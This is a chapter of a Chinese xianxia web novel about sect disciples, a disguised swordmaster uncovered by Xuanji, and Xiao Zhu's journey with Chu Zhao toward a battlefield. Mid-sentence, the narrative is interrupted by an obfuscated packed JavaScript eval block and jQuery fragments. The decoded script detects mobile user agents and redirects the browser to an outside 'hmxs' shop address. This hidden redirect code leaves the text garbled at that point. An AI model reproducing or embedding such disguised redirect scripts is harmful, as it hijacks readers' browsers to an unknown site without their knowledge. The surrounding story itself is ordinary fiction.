范小源最近与大小姐的关系似乎格外好。上课有听不懂的地方,先生走后他都会去请教顾清砚。
肖嘉有些看不懂,想想最近萧先生的状态又释然了,这几日的萧先生显然要比大小姐看恐怖多了。
扭头看看被冷落在一边满头黑线的印瑞阳,丝毫不怕触他霉头,肖嘉凑到他身边,声音不大不小地问道:“他怎么不来找你了?”
印瑞阳的小跟班突然变成大小姐的狗腿子,其他人也十分想知道这到底是怎么一回事,大家各干各的看似对两人对话毫不在意,其实都在暗暗关注印瑞阳的反应。
这人向来不是个脾气好的主,几个弟子暗暗猜想印瑞阳会突然跳起来暴揍肖嘉一顿,或是大骂范小源忘本,直接找上大小姐单挑然后给众人看一出高手过招的好戏。
毕竟顾清砚上次下山时的身手十分了得,大家都想一睹她揍人时的风采。
但是印瑞阳并没有他们猜想中的极端反应,不光没有勃然大怒,反而十分平静。
他自己本就算不得十分优秀,范小源愿意向他请教也不过是两人之间关系不错罢了。
如今博学多才的顾清砚不知从哪里掏出来一颗善心,纡尊降贵地愿意教范小源,傻子才会放着好处不要,来找自己。
良禽择木而栖,这不是很正常的事吗?
他看着对顾清砚道完谢便向自己跑来的范小源,起身招呼几个交好的同窗出门。
况且范小源又不是和他绝交了,这不还是来叫他去烤肉了吗?
范小源招呼已经远去的顾清砚一同去吃肉,大小姐又恢复了那股子冷冰冰态度,连头都没回。
“范小源,”桑靖峰用胳膊肘戳了戳他,“这大小姐向来不把人放在眼里,为什么突然肯辅导你课业了?”
身边几个同窗挤眉弄眼地看着范小源,等他说出什么有趣的隐情。
范小源跟他们混在一起时间久了,自然懂他们是什么意思。
“你们不要这个表情,”他远远望了一眼顾清砚的背影,“她只是看我可怜而已。”
顾清砚自从听闻自己的身世之后,便对自己十分关照,还打听了老家的事,要给娘她们送去粮食。
范小源家里虽贫穷但还饿不死人,不好意思受人恩惠,一口回绝了,但仍然心怀感激。
“她其实是一个特别善良的人。”范小源补充说。
玄玑觉得昨晚那场灵雨有蹊跷,下雨时她身体颇为不适就不要说了,要不然为什么顾清砚和她一个半夜熬不住涂着药就睡着了,一个一觉睡到正午才醒来呢?
在枕月居叫了好几声“清砚”没人应,玄玑才想起来应该是替自己去云阶学舍了。
她回宗这两天没查到什么有用的消息,反而麻烦了顾清砚,又烧了两间水行斋的竹舍。道宗之内可疑之处甚多,玄玑却不能再过多停留,需得马上作为“萧渚”返回学宫,才能暂且阻止这背后之人继续戕害弟子。
道宗里有一定不能让她知道的东西,自己先遂了他们的意回来,待他们放松警惕再查。
算算时间,顾清砚也该回来了,玄玑收拾好东西,等她回来就告诉她自己的计划,才从主屋出来,便见小院的门被一只骨节分明的手推开了。
身着青色衣衫的人在门口僵了僵。
玄玑昨日已经在学舍之外遥遥见过一次这副皮囊,此时再见,又情不自禁地暗暗夸赞自己这一双巧手,竟然捏出了这么英俊又不失美丽的一张脸。
她笑眯眯地迎上去,“今日怎么样?没人惹祸吧?”
对方摇了摇头。
玄玑十分欣慰地摸了摸眼前人的发顶,招呼道:“站在门口干什么?快进来。”
说着便伸手环着对方的胳膊将人拉进来,等她关门的时候,无意间瞥见远处桃花树下一个熟悉的身影。
“萧先生”进门看到玄玑之时,顾清砚便在桃花树下止住了脚步,只是属实没想到自己躲这么远还能被她一眼看见。
两个人就这么神情古怪地相互对视。
玄玑难以置信地眨了眨眼,偏头看向自己身边的这个男人。
四目相对,她几乎只用一瞬便认出了眼前之人,格外尴尬地缓缓松开了自己环在对方胳膊上的手臂。
“玄玑唐突了。”她微微垂下头。
旁边的人影一闪,身高暴涨,玄玑悄悄抬眼,看见一张颇为熟悉的脸。
就知道是你,她幅度极小地撇了撇嘴。
顾喧洲将她的小表情尽收眼底,似乎突然回到了几十年前的某一时刻,无端地品出了几分温馨来。
玄玑说着唐突,可顾喧洲认为比起从前,她现在再知书达礼不过了,低低说了句:“无妨。”
说罢便自顾走进院子。
此时日头从头顶上直直地打下来,顾清砚踏着刺眼的日光也跟进了枕月居。
玄玑极少睡懒觉,也很懂礼数,不会独自在他人家中长时间逗留,这个时候应该早就离开了,所以顾喧洲才会大摇大摆地来到枕月居。
才推开门就对上她确实在意料之外。
早就对范小源起了疑心,贸然接触他便会在他人眼里十分反常,水行斋这群崽子根本不必在意,但玄玑并不好糊弄,她自己那摊子事已然让人焦头烂额,凡间争端与她无关,没必要将人牵扯进来。
有顾喧洲假扮“萧先生”,顾清砚正好可以趁着玄玑回宗接触范小源。
这本该是个十分天衣无缝的计划。
可惜孩子大了,总有自己的想法。
玄玑关上大门之后,凑到顾清砚旁边,语气喜怒难辨地问:“怎么回事?”
顾清砚在这几步路之间便已想好说辞:“清砚修为低微,担心出错,故而偷懒请来了哥哥。”
她轻轻垂着眉眼,一副知错的愧疚模样,不免让人心生怜惜,玄玑知晓她是个装可怜博同情的惯犯,回忆起昨日自己竟然与剑尊在学舍遥遥一望,“眉目传情”,顿觉十分丢人,想冷心冷眼地无视她这处处可怜的神情。
可当自己顺着她低垂的目光看向自己脖颈间的玉衡时,又不好发作了。
玄玑怀疑她的每一个动作都是精心设计过的,但她没有证据。想来自己叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16292203|182510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她代课也是强人所难,小姑娘为求稳妥将剑尊请来也无可厚非。
她如此紧张,只不过是因为顾喧洲这个人罢了,是自己不争气,怪不得别人。
——
楚昭既然来此,那就说明他已经知道两军在附近开战了,萧渚颇为贴心地说自己要往盘龙峡附近的柴洼镇去,便顺理成章地与对方结成了伴。
萧渚想看这楚王能不能顺利与楚军会合,楚昭把萧渚当成自己的护卫,两个人各自心怀鬼胎,相处竟然意外得很和谐。
越靠近盘龙峡的峡谷口,空气中弥漫的血气便越重,路边的流水早就恢复清澈,但那股子腥气依然挥之不去。
日上中天,楚昭口渴了,凑到河边想掬一捧水喝,却被萧渚拦住了。
“你出门在外,自己没带水囊吗?”萧渚大爷一般坐在马背上居高临下的问。
楚昭很讨厌他这种语气,但留这小子还有用,便忍下一丝不悦,回答:“刚才给你喝光了。”
看意思,他不想让自己喝这里的水,知道这些修士对自然万物十分敏感,于是楚昭问:“这里的水有毒吗?”
萧渚摇摇头。
仔细一想那些血水早就被冲走了,血气是河岸边沾过血水的泥土散发出来的,萧渚自己心里膈应但楚昭并不知道这里发生过什么,人不能就这么渴着,便道:“那你还是喝吧。”
楚昭莫名其妙地看了他一眼,喝了几大口水,又洗了把脸。
“小兄弟如何称呼啊?”他边擦脸边问道。
有意接触楚国,萧渚并没有向他隐瞒姓名。
楚昭听到他的名字,迟疑了片刻,问道:“是万虚学宫的萧渚?”
萧渚颇为奇怪地看他一眼,点了点头。
“哎呀,这真是太有缘了,”楚昭突然变得有些兴奋,“我昨日出门送货前在碎云渡茶行才听说过仙人大名啊!”
楚昭还怕这小子若是遇险会扔下自己,此时得知二人有些八竿子打不着的交集,便立马抓住机会套近乎。
“听说过我什么?”萧渚挑眉道。
楚昭:“听说你与玄玑仙子惊鸿一瞥,一见钟情。”
萧渚哽住了:“什么?”
“你们一见钟情,执手定终身。”
“谁说的?”
“我哪认识啊?两个小姑娘在旁边布行买布时说的。”
不是蓝若雪和南诗柔还能有谁?
萧渚表情古怪地催促楚昭快些赶路。
楚昭看出他的不自在,却偏要当一根棒槌,追问道:“怎么?你不喜欢那仙子啊?”
喜欢?不喜欢?
萧渚盯着老马稀疏干燥的鬃毛,自暴自弃地喘了一口粗气,他觉得楚昭若是不当皇帝,还可以去做红娘,怎么就能扯到这上边来呢?
他没有回答楚昭,而是稍整神色,悠悠开口:“你喝水的时候,没有嗅到铁锈的气味吗?”
楚昭牵着马停在原地不动了,他看见远处的河岸处有一个暗红色的人影趴在旁边。
似乎是联想到了什么,他绿着脸回头望向萧渚。